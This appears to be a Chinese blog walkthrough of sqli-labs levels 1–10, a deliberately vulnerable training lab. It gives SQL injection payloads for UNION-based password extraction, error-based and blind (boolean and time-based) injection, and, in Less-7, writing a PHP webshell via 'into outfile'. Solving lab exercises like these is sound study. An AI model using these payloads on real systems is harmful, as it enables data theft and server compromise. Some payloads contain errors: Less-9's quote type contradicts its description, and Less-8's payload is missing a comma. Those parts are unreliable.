sqli-labs解题大法1~10

有时在URL注入时,#不能起到注释作用,这时可以用 - - + 来进行注释。

Less-1:
首先,输入/?id=1,发现页面正常。sqli-labs解题大法1~10_第1张图片输入/?id=1'页面错误,在 ' 后面加上 --+ 注释之后页面正常,说明sql语句为id='$id',为单引号闭合的字符型注入现在可以利用单引号闭合与 --+ 注释来进行注入。
利用order by 进行排序来获得字段数,发现/?id=1' order by 3--+页面正常,
/?id=1' order by 4--+页面报错,sqli-labs解题大法1~10_第2张图片所以有三个字段。利用union联合查询,输入一个不存在的id,(例如id=0,8,555555),
/?id=0' union select 1,2,3--+发现有2,3两个页面显示位,sqli-labs解题大法1~10_第3张图片先用/?id=0' union select 1,(select group_concat(schema_name) from information_schema.schemata),3--+,在your login name后显示出所有数据库名,sqli-labs解题大法1~10_第4张图片select database()查询出数据在security数据库中,sqli-labs解题大法1~10_第5张图片select group_concat(table_name) from information_schema.tables where table_schema='security'查询出security数据库中所有的数据表名,sqli-labs解题大法1~10_第6张图片select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'查询security数据库中的users数据表中的字段名,sqli-labs解题大法1~10_第7张图片再用/?id=0' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+就可以查询出这个数据表里所有的用户名和密码了。sqli-labs解题大法1~10_第8张图片
Less-2:
首先,输入/?id=1,发现页面正常。输入/?id=1'页面错误,输入/?id=1'--+ 页面错误,输入/?id=1')--+ 页面错误,说明sql语句可能为数字型注入,所以可以直接写 --+ 注释来进行注入。之后可以用order by和联合查询,具体过程参考Less-1。

Less-3:
首先,输入/?id=1,发现页面正常。输入/?id=1'--+页面错误,输入/?id=1')--+ 页面正常,说明为 ‘)闭合,所以可以用 ’)--+注释来进行注入。之后可以用order by和联合查询,具体过程参考Less-1。

Less-4:
首先,输入/?id=1,发现页面正常。输入/?id=1')--+ 页面正常,用order by 排序,页面无任何变化,改为/?id=1“--+页面有变化,说明为 ”)闭合,所以可以用 “)--+注释来进行注入。之后可以用order by和联合查询,具体过程参考Less-1。
注意: 本题源代码sql语句中虽然是$id=($id) ,但是上面有个$id=' " '.$id.' " ';
这个意思是:把$id变成"$id",所以sql语句中的实质是$id=("$id")

Less-5:
首先输入?id=5,页面正常,然后用联合查询,页面无变化,说明没有显示位无法利用联合查询,sqli-labs解题大法1~10_第9张图片输入?id=5'页面出现报错提示,这时可以用报错查询。sqli-labs解题大法1~10_第10张图片
(1).报错查询公式:AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((payload),FLOOR (RAND(0)*2))X FROM INFORMATION_SCHEMA.TABLES GROUP BY X)A)
(2).其中payload为想要使用的sql语句,该语句最多输出64个字符。
(3).在输出信息之后页面会额外输出一个1,这个1是floor报错语句中输出的一部分(无论输出什么结果,都会有这个1)。
(4).有时子句中的输出超过了64个字符这是因为使用了group_concat()函数,group_concat()函数会将返回信息拼接成一行显示,所以可以用limit来限制输出。
(5).之后在子句中就可以使用联合查询了,详细过程参考Less-1。

Less-6:
本关与Less-5的不同之出在于使用了双引号 " 闭合,其余具体过程参考Less-5。

Less-7:
向其中写入一句话木马,然后使用菜刀连接就行了。
payload:?id=1’))UNION SELECT 1,2,’’ into outfile “c:\wamp\www\sqllib\Less-7\index.php”–+

Less-8:
(1)首先用不同的方式进行闭合,发现是单引号闭合,然后利用mid(database(),1,1)函数,通过改变第一个1来查询出数据库的拼写字母,最后得出数据库名。
(2)用?id=8' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1)1,1))=114--+查询出第一个数据库的第一个数据表的首字母,最后查询出数据表的名字。之后继续用布尔盲注就可以查询出数据了。

Less-9:
根据题目信息,可以知道是基于单引号闭合的时间盲注,
?id=10" and if(ascii(substr(database(),1,1))>110,sleep(10),1)--+

Less-10:
基于双引号的时间盲注,
?id=10" and if(ascii(substr(database(),1,1))>110,sleep(10),1)--+字母大家可以自己测试。

你可能感兴趣的:(sqli-labs,sql注入)